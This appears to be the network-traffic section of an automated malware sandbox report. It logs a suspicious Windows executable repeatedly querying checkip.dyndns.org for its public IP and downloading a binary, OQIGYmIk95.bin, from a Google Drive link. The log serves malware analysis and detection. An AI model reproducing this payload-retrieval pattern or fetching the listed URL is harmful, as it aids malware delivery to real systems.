Jan 10, 2025 21:41:48.755964994 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49968	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:49.657025099 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:50.470134974 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49981	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:51.540098906 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:52.380743027 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49995	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:53.386478901 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:54.219739914 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	50008	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:55.164277077 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:56.004151106 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	50021	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:56.902923107 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:57.748101950 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	50023	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:58.893111944 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:59.822940111 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	50025	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:00.720055103 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:02.217138052 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	50027	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:03.317325115 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:04.154455900 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	50029	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:05.354499102 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:06.380877018 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	50031	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:07.306477070 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:08.975754976 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:42:08.976102114 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:42:08.976408005 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50033	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:10.014390945 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:10.871510983 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50035	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:11.878213882 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:42:13.090872049 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50037	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:13.984704018 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:14.813391924 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50039	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:15.785559893 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:16.615860939 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50041	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:17.658076048 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:19.500050068 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50043	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:20.585624933 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:21.412628889 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	50045	132.226.8.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:25.239631891 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:26.085143089 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49709	142.250.181.238	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:02 UTC	216	OUT	GET /uc?export=download&id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 20:41:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 20:41:03 GMT Location: https://drive.usercontent.google.com/download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-TkUX-2f7mgTjP7YxM2G14w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49710	142.250.181.225	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:04 UTC	258	OUT	GET /download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 20:41:07 UTC	4930	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC4pyGtbGG_UuCWzNeQcBRl9FDlEH4PzB4JUrvb_yAOujtPYD3ua1NYvhJtqhurnaKK6 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="OQIGYmIk95.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Wed, 11 Dec 2024 23:12:38 GMT Date: Fri, 10 Jan 2025 20:41:06 GMT Expires: Fri, 10 Jan 2025 20:41:06 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=MTvnyQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
